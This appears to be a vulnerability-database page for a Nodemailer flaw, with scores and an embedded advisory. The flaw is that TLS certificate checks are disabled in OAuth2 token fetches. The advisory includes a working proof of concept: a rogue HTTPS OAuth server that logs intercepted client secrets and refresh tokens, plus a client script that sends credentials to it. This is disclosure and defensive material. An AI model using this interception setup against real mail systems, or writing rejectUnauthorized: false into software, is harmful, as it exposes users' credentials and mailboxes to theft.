CVE-2026-82662

mediumpriority · track · 26EPSS 0.002 · 9 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.19% (9th) EPSS
CVSS 6.5 · medium
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.3
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.8–8.3

v3.16.5mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:Nprimary · disclosure@vulncheck.comexploitability 2.2 · impact 4.2
v3.16.5mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:Nsecondary · OSV
v4.08.3highCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.04.8mediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (1)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-r7g4-qg5f-qqm2Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception2026-06-15ghsa · osvUS

    ### Summary Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js. As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation. An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture: - OAuth client_secret - refresh_token - access tokens The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint. ### Details Root Cause The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests. Inside: `lib/fetch/index.js` the request options contain: `rejectUnauthorized: false` This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration. As a result: - self-signed certificates are trusted - invalid CA chains are accepted - hostname validation is bypassed - attacker-controlled HTTPS endpoints are treated as trusted This violates expected HTTPS security guarantees. **Vulnerable Flow** The vulnerable execution chain is: OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials **transmitted** ### PoC **Environment** #### Mail API (app/server.js) ``` const express = require("express"); const nodemailer = require("nodemailer"); require("dotenv").config(); const app = express(); app.use(express.json()); const transporter = nodemailer.createTransport({ host: process.env.SMTP_HOST, port: process.env.SMTP_PORT, secure: false, auth: { user: process.env.SMTP_USER, pass: process.env.SMTP_PASS } }); app.post("/send", async (req, res) => { try { const { to, subject, text, html } = req.body; const info = await transporter.sendMail({ from: `"Mailer" <${process.env.SMTP_USER}>`, to, subject, text, html }); res.json({ success: true, messageId: info.messageId }); } catch (err) { console.error(err); res.status(500).json({ success: false, error: err.message }); } }); app.listen(process.env.PORT, () => { console.log(`Mailer running on port ${process.env.PORT}`); }); ``` #### Malicious HTTPS OAuth Server (poc/evil-oauth.js) ``` const https = require('https'); const fs = require('fs'); https.createServer({ key: fs.readFileSync('./key.pem'), cert: fs.readFileSync('./cert.pem') }, (req, res) => { console.log('\n==== REQUEST INTERCEPTED ===='); console.log(req.method, req.url); let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { console.log('\nPOST BODY:'); console.log(body); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ access_token: 'attacker_token', expires_in: 3600 })); }); }).listen(8443, () => { console.log('Malicious HTTPS OAuth server listening on 8443'); }); ``` #### Nodemailer OAuth2 Test (test.js) ``` const nodemailer = require('./'); const transporter = nodemailer.createTransport({ service: 'gmail', auth: { type: 'OAuth2', user: 'redacted@example.com', clientId: 'CLIENT_ID_REDACTED', clientSecret: 'CLIENT_SECRET_REDACTED', refreshToken: 'REFRESH_TOKEN_REDACTED', accessUrl: 'https://localhost:8443/token' } }); transporter.sendMail({ from: 'redacted@example.com', to: 'redacted@example.com', subject: 'PoC', text: 'test' }, (err, info) => { console.log('\n==== NODEMAILER RESULT ===='); if (err) { console.error(err); } else { console.log(info); } }); ``` **Steps to Reproduce** - Start malicious HTTPS OAuth server: - node poc/evil-oauth.js - Run Nodemailer OAuth2 test: - node test.js - Observe intercepted OAuth2 request body on the malicious HTTPS server. **PIC** <img width="1919" height="1029" alt="image" src="https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516" /> ### Impact - OAuth credential theft - unauthorized email access - persistent token abuse - unauthorized mail sending - mailbox compromise - interception/tampering of OAuth responses The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

06

sources

Which sources assert this record, and when.

published 2026-08-31modified 2026-09-01
07

references (2) nvd

External citations — patches, advisories, analysis.

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